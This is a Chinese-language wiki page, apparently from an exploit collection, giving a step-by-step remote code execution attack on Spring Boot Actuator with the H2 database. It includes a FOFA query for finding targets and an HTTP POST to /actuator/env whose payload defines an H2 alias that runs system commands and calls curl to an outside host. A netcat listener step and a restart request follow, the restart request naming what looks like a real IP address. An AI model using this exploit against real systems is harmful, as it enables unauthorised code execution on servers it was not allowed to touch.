View source for Spring Boot Actuator H2 RCE漏洞/zh-cn

<languages />
==漏洞影响==
<pre>
Spring Boot < 1.5
Spring Boot >= 1.5
</pre>

==FOFA==
<pre>
body="Whitelabel Error Page"
</pre>

==漏洞利用==
访问以下URL：
<pre>
http://x.x.x.x:port/actuator
</pre>
发送如下POST包配置spring.datasource.hikari.connection-test-query的值。
<pre>
POST /actuator/env HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/json
Content-Length: 389
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl x.x.x.x:port');"}
</pre>

NC监听，向端点 /actuator/restart 发送POST请求, 重启应用。
<pre>
POST /actuator/restart HTTP/1.1
Host: 39.105.93.185:8080
Content-Type: application/json
Content-Length: 356
{}
</pre>